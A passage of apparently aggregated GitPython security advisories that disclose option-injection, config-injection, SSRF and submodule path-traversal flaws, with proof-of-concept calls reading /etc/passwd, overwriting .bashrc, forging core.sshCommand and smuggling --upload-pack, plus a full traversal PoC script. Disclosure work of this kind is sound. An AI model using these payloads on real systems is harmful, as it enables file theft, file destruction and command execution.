                multi_options=["--bundle-uri=http://169.254.169.254/latest/meta-data/"])

##### no UnsafeProtocolError, no UnsafeOptionError

Confirmed against a local listener — the request leaves the process:

127.0.0.1 - - [24/Jul/2026 23:07:41] "GET /internal-metadata HTTP/1.1" 404 -

file:///path is likewise accepted without error. Note this is not a tokenisation bypass: multi_options is shlex.split before the check (per c9a26789 / GHSA-x2qx-6953-8485), so the fully-split --bundle-uri=... token is checked and legitimately passes because the option is not on the list.

Why it belongs with this report: both are the membership question rather than the matching logic — is the set of blocked options complete, and does the protocol guard inspect every URL git will dereference? The structural remediation proposed above covers both if extended slightly: prefer an allowlist per command, and route every URL-bearing option through check_unsafe_protocols(), not only the positional URL. Adding --bundle-uri to unsafe_git_clone_options would be the minimal fix.

Severity

  • CVSS Score: 6.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


CVE-2026-73619 / GHSA-539m-9xh6-q6rr / PYSEC-2026-3948

More information

Details

GitPython before 3.1.57 contains an incomplete denylist in the unsafe_git_archive_options guard that omits --add-file and --add-virtual-file options. Attackers can supply these options to Repo.archive() to read arbitrary files from the filesystem and include them in the returned archive.

Severity

  • CVSS Score: 7.1 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


CVE-2026-73620 / GHSA-3f7w-8rr8-f37f / PYSEC-2026-3949

More information

Details

GitPython before 3.1.57 fails to guard git option forwarding in IndexFile.checkout() and TagReference.create(), allowing attackers to pass unsafe options via kwargs. Attackers can use --prefix to overwrite arbitrary files with repository content or -F to read arbitrary files returned in-band.

Severity

  • CVSS Score: 7.2 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


GitPython: Unguarded git read-tree option forwarding in IndexFile.from_tree/reset/merge_tree enables arbitrary file overwrite

CVE-2026-76219 / GHSA-4gmw-gg2m-w46p / PYSEC-2026-3838

More information

Details

Summary

IndexFile.from_tree, IndexFile.reset (→ from_tree) and IndexFile.merge_tree append caller-influenced treeish strings positionally to git read-tree with no unsafe-option guard, no allow_unsafe_options parameter, and no -- separator. git read-tree --index-output=<file> writes the resulting index to an arbitrary path, and last-occurrence-wins lets an injected --index-output override the method's internal temp path — clobbering an arbitrary file with a valid git-index blob. This is a distinct, never-guarded sink: commit 3af0c251 (GHSA-3f7w-8rr8-f37f) guarded only checkout_index and tag; read_tree was left unprotected (it is among the acknowledged unguarded call sites in that advisory's sweep but was never reported or fixed).

Root Cause

from_tree (index/base.py:388), reset (delegates to from_tree), and merge_tree (index/base.py:291) call repo.git.read_tree(*arg_list) with no check_unsafe_options and no --. The treeish is caller-influenced and positional.

Impact

Arbitrary file overwrite / destruction at the privileges of the host process. Content is constrained to a git-index blob (not attacker-chosen, so not RCE), but the target path is fully attacker-controlled — corrupting/truncating configs or destroying files at attacker-chosen writable locations = I:H + A:H (per the skill's "overwrite-any-path = I:H" rule). Pure VALUE control (positional treeish). Default configuration.

Proof of Concept
IndexFile.from_tree(repo, "--index-output=/home/victim/.bashrc")

##### target overwritten with a valid git-index blob (DIRC...)
Attack Chain
  1. Entry: app calls IndexFile.from_tree(repo, treeish) / reset(commit=…) / merge_tree(base=…, rhs=…) with attacker treeish="--index-output=/home/victim/.bashrc".
  2. Check: NONE — the methods have no allow_unsafe_options and never call check_unsafe_options.
  3. Sink: repo.git.read_tree(*arg_list) — no --. argv (from_tree, observed): ['git','read-tree','--index-output=<tmp>','--index-output=/…/victim'] (last-wins).
  4. Impact: target path created/overwritten with a valid git-index blob; existing content destroyed.
Bypass Evidence

Independently reproduced (gate harness): IndexFile.from_tree(repo,'--index-output=<victim>') → victim overwritten; before=IMPORTANT ORIGINAL CONTENT, after starts DIRC\x00\x00\x00\x02… (destructive clobber, valid index blob). reset(commit=…) and both merge_tree positionals verified. Fix-commit read: 3af0c251 touched only checkout_index+tag; read_tree untouched on HEAD.

Affected Versions

GitPython <= 3.1.57 (sinks present verbatim on the latest release tag).

Suggested Fix

Add a check_unsafe_options guard (with an allow_unsafe_options parameter) to from_tree/reset/merge_tree, and/or place a -- separator before the positional treeish arguments; block --index-output (a path-taking option) on this sink.

Severity

  • CVSS Score: 8.1 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


GitPython: Unguarded git option forwarding in Repo.init enables arbitrary command execution via --template clone hooks

CVE-2026-76218 / GHSA-9rj7-rf2p-w77r / PYSEC-2026-3840

More information

Details

Summary

Repo.init() forwards **kwargs verbatim to git init with no unsafe-option guard and no allow_unsafe_options parameter. git init --template=<dir> copies <dir>/hooks/* into the new repo's .git/hooks, so an attacker-controlled template kwarg plants a hook that executes on the next git operation → arbitrary code execution. --template is already recognized as unsafe for clone (it is on unsafe_git_clone_options, and GHSA-6p8h-3wgx-97gf covers the clone path), but Repo.init is a distinct method that never received a guard and needs an independent fix.

Root Cause

Repo.init(path, mkdir, odbt, expand_vars, **kwargs) is a bare git.init(**kwargs) (git/repo/base.py:1435) with no check_unsafe_options and no allow_unsafe_options.

Impact

Arbitrary code execution (hook fires on next git op) at the privileges of the host process. Two preconditions raise attack complexity (AC:H): the app must forward a template= kwarg (KEY control) AND the attacker must stage an executable hook directory at a known path — the same profile GHSA-6p8h-3wgx-97gf accepted as HIGH for the clone path. Default allow_unsafe_options is irrelevant here because Repo.init has no guard at all.

Proof of Concept

##### attacker stages /evil/hooks/post-commit (executable)
from git import Repo
Repo.init(path, template="/evil")

##### next commit runs /evil/hooks/post-commit -> ACE
Attack Chain
  1. Entry: attacker stages /evil/hooks/post-commit (executable) and gets the app to call Repo.init(path, template='/evil').
  2. Check: NONE on Repo.init. Bypass proof: base.py:1435 is a bare git.init(**kwargs). argv (observed): ['git','init','--template=/evil'].
  3. Sink: git copies /evil/hooks/post-commit → <repo>/.git/hooks/post-commit.
  4. Impact: next commit runs the hook → arbitrary code execution.
Bypass Evidence

Independently reproduced (gate harness): Repo.init(dst, template='<evil>') → argv ['git','init','--template=<evil>'] unguarded; hook copied into .git/hooks/post-commit; after git commit the INIT_ACE marker was created. --separate-git-dir=<path> is a parallel arbitrary-redirect vector through the same unguarded sink (value control only).

Affected Versions

GitPython <= 3.1.57 (unguarded git.init(**kwargs) present verbatim on the latest release tag).

Suggested Fix

Add a check_unsafe_options guard (with an allow_unsafe_options parameter) to Repo.init, consulting a denylist that includes --template and --separate-git-dir (path-taking / hook-installing options).


Reported by zx (Jace) — GitHub: @​manus-use

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


GitPython: Arbitrary file read via --pathspec-from-file in IndexFile.remove() and Head.checkout()

CVE-2026-76217 / GHSA-hh9p-6wh2-4mfc / PYSEC-2026-3841

More information

Details

Summary

IndexFile.remove() and Head.checkout() forward **kwargs into git rm and git checkout
with no guard. Passing --pathspec-from-file=<file> together with --pathspec-file-nul
makes Git treat the whole file as a single NUL-delimited pathspec, and the unmatched-pathspec
error quotes it verbatim. GitPython surfaces that through GitCommandError.stderr, so the
entire contents of a caller-chosen file are returned to the caller in band.

This is the same primitive as Instance 2 of
GHSA-3f7w-8rr8-f37f - TagReference.create()
with -F, arbitrary file read returned in band - at two sites that advisory assessed and
cleared.

Prior art, and why I am filing rather than commenting

GHSA-3f7w-8rr8-f37f's sweep table lists these four sites with the assessment
"--pathspec-from-file only reads a pathspec; no write or disclosure primitive found":

Call site git command that advisory's assessment
IndexFile.remove() rm --pathspec-from-file only reads a pathspec; no write or disclosure primitive found
IndexFile.move() mv same
HEAD.reset() reset same
HEAD.checkout() checkout same

That assessment is very nearly right, and I think that is why it held: with
--pathspec-from-file alone, Git splits on newlines and the error quotes only the first
line
, which reads as an uninteresting partial. Adding --pathspec-file-nul - a sibling flag
of the same option, and the documented way to handle paths containing newlines - makes the
whole file one pathspec.

Root cause

git/index/base.py:991-1043:

def remove(self, items, working_tree=False, **kwargs):
    ...
    removed_paths = self.repo.git.rm(args, paths, **kwargs).splitlines()   # line 1043

git/refs/head.py:237-268:

def checkout(self, force: bool = False, **kwargs: Any):
    ...
    self.repo.git.checkout(self, **kwargs)                                 # line 268

Neither has an allow_unsafe_options parameter or a check_unsafe_options() call.

Proof of concept
from git import Repo
from git.exc import GitCommandError

repo = Repo("/path/to/repo")
kw = dict(pathspec_from_file="/etc/passwd", pathspec_file_nul=True)

try:
    repo.index.remove([], **kw)          # or: repo.heads[0].checkout(**kw)
except GitCommandError as e:
    print(e.stderr)                      # <- entire file contents

Observed on published 3.1.57, against a canary file holding three marked lines:

[PASS] IndexFile.remove() -> `git rm` returns ALL 3 canary lines in-band
       stderr: 'fatal: pathspec 'LINE1-CANARY-4242
       LINE2-SECRET-7777
       LINE3-TAIL-9999
       ' did not match any files'
[PASS] Head.checkout() -> `git checkout` returns ALL 3 canary lines in-band
       stderr: 'error: pathspec 'LINE1-CANARY-4242
       LINE2-SECRET-7777
       LINE3-TAIL-9999
       ' did not match any file(s) known to git'
[PASS] PRECISION: `git status` leaks 0/3 -- not every unguarded site discloses
[PASS] PRECISION: the GUARDED checkout-index leaks 0/3

The two precision controls are there so the result is about these sinks and not about the
canary being visible everywhere.

Scope correction to the table above

Of the four sites cleared with that sentence, two disclose and two do not:

Call site disclosed?
IndexFile.remove() → git rm yes, full file
Head.checkout() → git checkout yes, full file
HEAD.reset() → git reset no - git reset does not error on unmatched pathspecs
IndexFile.move() → git mv no

The two negatives are mentioned because "the dismissal was wrong" would overstate it: the
dismissal was wrong for half of what it covered.

Severity

  • CVSS Score: 6.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


GitPython: Arbitrary Git Repository Creation Outside the Working Tree via Unvalidated .gitmodules Submodule Name in GitPython

CVE-2026-76222 / GHSA-hmq2-w58f-27jc / PYSEC-2026-3784

More information

Details

Summary

GitPython computes the on-disk location of a submodule's separate Git directory (.git/modules/<name>) from the submodule's .gitmodules section name with no validation. Because that name is fully attacker-controlled content of a cloned repository, a malicious repository can set a submodule name to a traversal string (e.g. ../../../../home/victim/.something) and cause GitPython to create and initialize a full Git repository at an attacker-chosen filesystem path outside the intended clone directory. The only precondition is that a victim clones the malicious repository with GitPython and runs submodule initialization (submodule_update(init=True) / sm.update(init=True)), a very common and often automatic step. Core Git itself already blocks this exact attack class (CVE-2018-11235), but GitPython's independent reimplementation never adopted an equivalent check.

Details

src/GitPython/git/objects/submodule/util.py sm_name() strips the submodule " / " wrapper from a .gitmodules [submodule "..."] header and returns the result unchecked. Submodule.iter_items() in src/GitPython/git/objects/submodule/base.py reads this via sm_name(sms) and assigns it to sm._name; unlike the submodule path, name is never used for a tree lookup, so it is never implicitly validated. Submodule._module_abspath() then builds osp.join(parent_repo.git_dir, "modules", name) - os.path.join does not normalize ../ sequences. Submodule._clone_repo() passes this value straight to os.makedirs() and to git clone --separate-git-dir=<module_abspath>, creating and populating a full Git repository (objects, refs, hooks, config) at the escaped path. Attack prerequisite: attacker controls a repository the victim clones and initializes submodules for.

PoC
  1. Environment: Docker image built FROM python:3.11-slim, with git installed via apt-get install -y git (Debian bookworm packaged version, described in the advisory as "git 2.x"; the host-side verification separately used system git 2.34.1, but no exact version is pinned for the git binary inside this Docker image). GitPython is installed inside the container via pip install /src/GitPython from this repository's own source, which the advisory states resolved to the officially released GitPython==3.1.57 and gitdb==4.0.12.
  2. Configuration / preconditions: None beyond what's described - the victim must clone the attacker's repository with GitPython and run submodule initialization (repo.submodules + sm.update(init=True), equivalent to git submodule update --init).
  3. Commands run (quoted verbatim from the advisory's "Confirmed test run" section):
$ docker build -f GHSA/testing/Dockerfile -t ghsa-gitpython-poc .
$ docker run --rm ghsa-gitpython-poc

(Per the Dockerfile, docker run executes /work/run_all.sh, which in turn runs build_attacker_repo.sh, then poc_gitpython.py, then poc_control_realgit.sh.)
4. Full source of the PoC script (GHSA/testing/poc_gitpython.py), verbatim:

"""GHSA-001 PoC: GitPython side.

Clones the attacker repo and runs the equivalent of
`git submodule update --init` via GitPython, then checks whether a git
repository was created outside the clone directory.
"""
import os
import shutil

import git

CLONE_DIR = '/work/victim_clone/repo'
ESCAPE_TARGET = '/tmp/gitpython_poc_escaped_root'

def main():
    shutil.rmtree(os.path.dirname(CLONE_DIR), ignore_errors=True)
    shutil.rmtree(ESCAPE_TARGET, ignore_errors=True)
    os.makedirs(os.path.dirname(CLONE_DIR), exist_ok=True)

    print(f'GitPython version: {git.__version__}')
    repo = git.Repo.clone_from('/work/attacker_repo', CLONE_DIR)
    print('Cloned into:', repo.working_tree_dir)

    sms = list(repo.submodules)
    for sm in sms:
        print('  submodule name:', repr(sm.name))
        print('  submodule path:', repr(sm.path))

    print('escape_target exists before update:', os.path.exists(ESCAPE_TARGET))

    for sm in sms:
        try:
            sm.update(init=True)
        except Exception as e:
            print('sm.update raised:', repr(e))

    exists = os.path.exists(ESCAPE_TARGET)
    print('escape_target exists after update:', exists)
    if exists:
        print('escape_target contents:', os.listdir(ESCAPE_TARGET))

    print('POC_RESULT=VULNERABLE' if exists else 'POC_RESULT=SAFE')

if __name__ == '__main__':
    main()
  1. Exact captured terminal output (verbatim, from the original advisory's "Confirmed test run (Docker, released package)" section):
=== GitPython PoC (vulnerable path) ===
GitPython version: 3.1.57
Cloned into: /work/victim_clone/repo
  submodule name: '../../../../../../tmp/gitpython_poc_escaped_root/modules_dir'
  submodule path: 'legit_dir'
escape_target exists before update: False
escape_target exists after update: True
escape_target contents: ['modules_dir']
POC_RESULT=VULNERABLE

=== Control: real git CLI on identical repo ===
warning: ignoring suspicious submodule name: ../../../../../../tmp/gitpython_poc_escaped_root/modules_dir
warning: ignoring suspicious submodule name: ../../../../../../tmp/gitpython_poc_escaped_root/modules_dir
fatal: No url found for submodule path 'legit_dir' in .gitmodules
CONTROL_RESULT=SAFE (real git correctly refused)
  1. Payload: the attacker rewrites the .gitmodules section header from [submodule "legit_dir"] to [submodule "../../../../../../tmp/gitpython_poc_escaped_root/modules_dir"] (built by build_attacker_repo.sh, part of the harness in GHSA/testing/). The malicious part is the ../../../../../../ traversal sequence embedded in the submodule name (not the tree-validated path), which becomes the on-disk target for the submodule's separate git directory.
  2. Expected vs. observed: A safe implementation (as demonstrated by the real git CLI control run) rejects the submodule name with "ignoring suspicious submodule name" and refuses to create anything outside the repository. GitPython instead created the escape-target directory and a fully-initialized Git repository at /tmp/gitpython_poc_escaped_root/modules_dir, confirmed by escape_target exists after update: True and its listed contents.
  3. Security impact demonstrated: arbitrary filesystem directory and Git-repository creation at an attacker-chosen absolute path outside the victim's intended clone directory, populated with attacker-controlled content sourced from the submodule's own (also attacker-controlled) url.
Impact

Path traversal (CWE-22) / external control of file path (CWE-73) leading to arbitrary directory and Git-repository creation outside the intended clone directory. Integrity impact is High (attacker chooses destination path and, via the submodule URL, much of the written content); Confidentiality impact is None (only creation was demonstrated); Availability impact is Low-Medium (disk-exhaustion potential). No authentication is required; the attacker only needs to control a repository the victim clones and initializes submodules for - a routine, often fully-automatic operation in CI pipelines, IDE integrations, and dependency-management tooling.

Severity

  • CVSS Score: 8.2 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:L

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


GitPython: git-config OPTION-name injection via =/#/whitespace bypasses name validator, enabling forged core.sshCommand/hooksPath (RCE)

CVE-2026-76221 / GHSA-jm78-9fvv-mhgr / PYSEC-2026-3783

More information

Details

Summary

GitPython's config-name validator only neutralizes CR/LF/NUL for the "option" label; it does not reject =, #, ;, [, ], or whitespace in an option name. write_section writes the option name verbatim into the config file, so an option name such as sshCommand = touch <cmd> # is written as \tsshCommand = touch <cmd> # = <value>, which git parses as core.sshCommand = touch <cmd> (the trailing # comments out the intended value). This forges arbitrary config directives (core.sshCommand, core.hooksPath, alias.*) → RCE on the next git operation. This is a distinct field (option name, not section name) and distinct character class (=/#/space, not newline/bracket) from GHSA-3rp5-jjmw-4wv2 (section-name bracket injection) and GHSA-mv93-w799-cj2w / GHSA-v87r-6q3f-2j67 (newline injection).

Root Cause

_assure_config_name_safe(name, label) (git/config.py:897) applies the bracket/quote state machine ONLY when label == "section"; for the "option" label it falls through with just the UNSAFE_CONFIG_CHARS_RE = [\r\n\x00] regex. write_section then writes the option name verbatim into "\t%s = %s\n" (config.py:702).

Impact

Arbitrary git-config directive injection → remote code execution via core.sshCommand (fires on any ssh git operation, no staged file needed) or core.hooksPath (with a staged hook). Requires the embedding application to forward a caller-influenced OPTION NAME into the config writer (name-control model, the same name-control model accepted by the related published advisories GHSA-3rp5-jjmw-4wv2 and GHSA-mv93-w799-cj2w). Default configuration.

Proof of Concept
with repo.config_writer() as cw:
    cw.set_value("core", "sshCommand = touch /tmp/RCE #", "x")

##### git config --get core.sshCommand  ->  touch /tmp/RCE
Attack Chain
  1. Entry: app calls config writer with attacker-controlled OPTION name: set_value("core", "sshCommand = touch /tmp/RCE #", "x").
  2. Check: _assure_config_name_safe(option, "option") @​ config.py. Guard: regex matches only [\r\n\x00]; bracket/quote state machine is gated on label=="section". Bypass proof: =,#,space pass → no ValueError.
  3. Sink: write_section writes "\tsshCommand = touch /tmp/RCE # = x\n" (config.py:702).
  4. Impact: git parses core.sshCommand=touch /tmp/RCE → arbitrary code execution on next git op.
Bypass Evidence

Independently reproduced (gate harness): set_value('core','sshCommand = touch <RCE> #','x') → no ValueError; file line sshCommand = touch <RCE> # = x; git config --get core.sshCommand → touch <RCE> (rc=0). Also verified core.hooksPath via both GitConfigParser and repo.config_writer(). Fix-commit read: bracket/quote checks are inside if label == "section"; the "option" label is not covered.

Affected Versions

GitPython <= 3.1.57 (validator present verbatim on the latest release tag).

Suggested Fix

Apply the section-name safety checks (reject =, #, ;, [, ], whitespace) to the "option" label as well, or validate the fully-rendered config line after substitution.


Reported by zx (Jace) — GitHub: @​manus-use

Severity

  • CVSS Score: 8.8 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


GitPython: Unsafe git option guard bypass via split_single_char_options=False short-option token smuggling enables command execution

CVE-2026-76220 / GHSA-wvpp-8hx9-p66j / PYSEC-2026-3843

More information

Details

Summary

The check_unsafe_options guard can be bypassed on every guarded method (clone/clone_from, fetch/pull/push, ls_remote, iter_commits, blame, archive) by combining a single-character kwarg with split_single_char_options=False. The guard's candidate list omits the smuggled option, but transform_kwarg emits a JOINED -n<value> argv token that git parses as --upload-pack=<cmd>, yielding arbitrary command execution at the default allow_unsafe_options=False. This is an incomplete-fix bypass of commit e8d0fbf7 (the fix for GHSA-r9mr-m37c-5fr3), which only emits value-derived candidates when split_single_char_options is True.

Root Cause

_option_candidates derives value-token candidates only under if len(key)==1 and split_single_char_options: (cmd.py:1048, added by e8d0fbf7). With split_single_char_options=False, _option_candidates([], {"n":"utouch <cmd>;git-upload-pack"}) returns only ['-n'] (not on the denylist), so the guard passes. But transform_kwarg('n', value, split_single_char_options=False) emits the JOINED token -nutouch <cmd>;git-upload-pack (cmd.py:1631). git clusters value-less short flags then parses -u<cmd> = --upload-pack=<cmd> → command execution. The hardened guard WOULD block the joined token if it saw it — the flaw is it never receives it.

Impact

Arbitrary OS command execution as the host process (via --upload-pack) at default allow_unsafe_options=False, affecting all guarded methods that forward kwargs. Precondition: the app forwards a user-controlled kwargs dict containing split_single_char_options=False plus a single-char key (same user-dict-forwarding model GHSA-r9mr-m37c-5fr3 accepts).

Proof of Concept
from git import Repo
Repo.clone_from(src, dst,
    n="utouch /tmp/ACE;git-upload-pack",
    split_single_char_options=False)   # /tmp/ACE created -> ACE
Attack Chain
  1. Entry: app forwards user kwargs to Repo.clone_from(url, path, **kwargs): {split_single_char_options: False, n: 'utouch /tmp/ACE;git-upload-pack'}.
  2. Check: check_unsafe_options(_option_candidates([], kwargs), unsafe_git_clone_options). Guard: denylist includes --upload-pack/-u. Bypass proof: _option_candidates yields only ['-n'] (value token skipped because split=False); guard never sees -u.
  3. Sink: transform_kwarg emits joined token (cmd.py:1631). argv (observed): ['git','clone','-v','-nutouch /tmp/ACE;git-upload-pack','--','<src>','<dst>'].
  4. Impact: git clusters -n + -u<cmd> → runs upload-pack command → ACE.
Bypass Evidence

Independently reproduced (gate harness, default allow_unsafe_options=False): the split=False payload created the marker VH05_GATE_ACE (ACE); the clone returned normally (guard bypassed). Control: n='--upload-pack=…' (split default True) → UnsafeOptionError: --upload-pack is not allowed. Fix-commit read: e8d0fbf7 extends candidates only under if len(key)==1 and split_single_char_options: — split=False skips value emission. Also confirmed the earlier clustering-parse fix (commit 56806080) does not cover this because the guard only ever receives ['-n'].

Affected Versions

GitPython <= 3.1.57 (code present verbatim on the latest release tag).

Suggested Fix

Make _option_candidates emit value-derived candidates regardless of split_single_char_options (i.e. also for the joined -n<value> form), OR run check_unsafe_options over the fully-transformed argv rather than the reconstructed name-only candidate list.


Reported by zx (Jace) — GitHub: @​manus-use

Severity

  • CVSS Score: 8.8 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


CVE-2026-76221 / GHSA-jm78-9fvv-mhgr / PYSEC-2026-3783

More information

Details

GitPython before 3.1.58 contains a config-name injection vulnerability in the option-name validator that allows attackers to forge arbitrary git-config directives by injecting equals signs, hash symbols, and whitespace into option names. Attackers can inject malicious option names like 'sshCommand = touch /tmp/RCE #' to execute arbitrary commands via core.sshCommand or core.hooksPath on the next git operation.

Severity

  • CVSS Score: 8.7 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


CVE-2026-76222 / GHSA-hmq2-w58f-27jc / PYSEC-2026-3784

More information

Details

GitPython before 3.1.58 fails to validate submodule names from .gitmodules files, allowing attackers to create Git repositories at arbitrary filesystem paths outside the intended clone directory. Attackers can craft malicious repositories with traversal sequences in submodule names that GitPython processes during submodule initialization, creating attacker-controlled Git repositories at escaped filesystem locations.

Severity

  • CVSS Score: 8.4 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


GitPython: Unguarded git read-tree option forwarding in IndexFile.from_tree/reset/merge_tree enables arbitrary file overwrite

CVE-2026-76219 / GHSA-4gmw-gg2m-w46p / PYSEC-2026-3838

More information

Details

Summary

IndexFile.from_tree, IndexFile.reset (→ from_tree) and IndexFile.merge_tree append caller-influenced treeish strings positionally to git read-tree with no unsafe-option guard, no allow_unsafe_options parameter, and no -- separator. git read-tree --index-output=<file> writes the resulting index to an arbitrary path, and last-occurrence-wins lets an injected --index-output override the method's internal temp path — clobbering an arbitrary file with a valid git-index blob. This is a distinct, never-guarded sink: commit 3af0c251 (GHSA-3f7w-8rr8-f37f) guarded only checkout_index and tag; read_tree was left unprotected (it is among the acknowledged unguarded call sites in that advisory's sweep but was never reported or fixed).

Root Cause

from_tree (index/base.py:388), reset (delegates to from_tree), and merge_tree (index/base.py:291) call repo.git.read_tree(*arg_list) with no check_unsafe_options and no --. The treeish is caller-influenced and positional.

Impact

Arbitrary file overwrite / destruction at the privileges of the host process. Content is constrained to a git-index blob (not attacker-chosen, so not RCE), but the target path is fully attacker-controlled — corrupting/truncating configs or destroying files at attacker-chosen writable locations = I:H + A:H (per the skill's "overwrite-any-path = I:H" rule). Pure VALUE control (positional treeish). Default configuration.

Proof of Concept
IndexFile.from_tree(repo, "--index-output=/home/victim/.bashrc")

##### target overwritten with a valid git-index blob (DIRC...)
Attack Chain
  1. Entry: app calls IndexFile.from_tree(repo, treeish) / reset(commit=…) / merge_tree(base=…, rhs=…) with attacker treeish="--index-output=/home/victim/.bashrc".
  2. Check: NONE — the methods have no allow_unsafe_options and never call check_unsafe_options.
  3. Sink: repo.git.read_tree(*arg_list) — no --. argv (from_tree, observed): ['git','read-tree','--index-output=<tmp>','--index-output=/…/victim'] (last-wins).
  4. Impact: target path created/overwritten with a valid git-index blob; existing content destroyed.
Bypass Evidence

Independently reproduced (gate harness): IndexFile.from_tree(repo,'--index-output=<victim>') → victim overwritten; before=IMPORTANT ORIGINAL CONTENT, after starts DIRC\x00\x00\x00\x02… (destructive clobber, valid index blob). reset(commit=…) and both merge_tree positionals verified. Fix-commit read: 3af0c251 touched only checkout_index+tag; read_tree untouched on HEAD.

Affected Versions

GitPython <= 3.1.57 (sinks present verbatim on the latest release tag).

Suggested Fix

Add a check_unsafe_options guard (with an allow_unsafe_options parameter) to from_tree/reset/merge_tree, and/or place a -- separator before the positional treeish arguments; block --index-output (a path-taking option) on this sink.

Severity

  • CVSS Score: 8.1 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


GitPython: Unguarded git option forwarding in Repo.init enables arbitrary command execution via --template clone hooks

CVE-2026-76218 / GHSA-9rj7-rf2p-w77r / PYSEC-2026-3840

More information

Details

Summary

Repo.init() forwards **kwargs verbatim to git init with no unsafe-option guard and no allow_unsafe_options parameter. git init --template=<dir> copies <dir>/hooks/* into the new repo's .git/hooks, so an attacker-controlled template kwarg plants a hook that executes on the next git operation → arbitrary code execution. --template is already recognized as unsafe for clone (it is on unsafe_git_clone_options, and GHSA-6p8h-3wgx-97gf covers the clone path), but Repo.init is a distinct method that never received a guard and needs an independent fix.

Root Cause

Repo.init(path, mkdir, odbt, expand_vars, **kwargs) is a bare git.init(**kwargs) (git/repo/base.py:1435) with no check_unsafe_options and no allow_unsafe_options.

Impact

Arbitrary code execution (hook fires on next git op) at the privileges of the host process. Two preconditions raise attack complexity (AC:H): the app must forward a template= kwarg (KEY control) AND the attacker must stage an executable hook directory at a known path — the same profile GHSA-6p8h-3wgx-97gf accepted as HIGH for the clone path. Default allow_unsafe_options is irrelevant here because Repo.init has no guard at all.

Proof of Concept

##### attacker stages /evil/hooks/post-commit (executable)
from git import Repo
Repo.init(path, template="/evil")

##### next commit runs /evil/hooks/post-commit -> ACE
Attack Chain
  1. Entry: attacker stages /evil/hooks/post-commit (executable) and gets the app to call Repo.init(path, template='/evil').
  2. Check: NONE on Repo.init. Bypass proof: base.py:1435 is a bare git.init(**kwargs). argv (observed): ['git','init','--template=/evil'].
  3. Sink: git copies /evil/hooks/post-commit → <repo>/.git/hooks/post-commit.
  4. Impact: next commit runs the hook → arbitrary code execution.
Bypass Evidence

Independently reproduced (gate harness): Repo.init(dst, template='<evil>') → argv ['git','init','--template=<evil>'] unguarded; hook copied into .git/hooks/post-commit; after git commit the INIT_ACE marker was created. --separate-git-dir=<path> is a parallel arbitrary-redirect vector through the same unguarded sink (value control only).

Affected Versions

GitPython <= 3.1.57 (unguarded git.init(**kwargs) present verbatim on the latest release tag).

Suggested Fix

Add a check_unsafe_options guard (with an allow_unsafe_options parameter) to Repo.init, consulting a denylist that includes --template and --separate-git-dir (path-taking / hook-installing options).


Reported by zx (Jace) — GitHub: @​manus-use

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


GitPython: Arbitrary file read via --pathspec-from-file in IndexFile.remove() and Head.checkout()

CVE-2026-76217 / GHSA-hh9p-6wh2-4mfc / PYSEC-2026-3841

More information

Details

Summary

IndexFile.remove() and Head.checkout() forward **kwargs into git rm and git checkout
with no guard. Passing --pathspec-from-file=<file> together with --pathspec-file-nul
makes Git treat the whole file as a single NUL-delimited pathspec, and the unmatched-pathspec
error quotes it verbatim. GitPython surfaces that through GitCommandError.stderr, so the
entire contents of a caller-chosen file are returned to the caller in band.

This is the same primitive as Instance 2 of
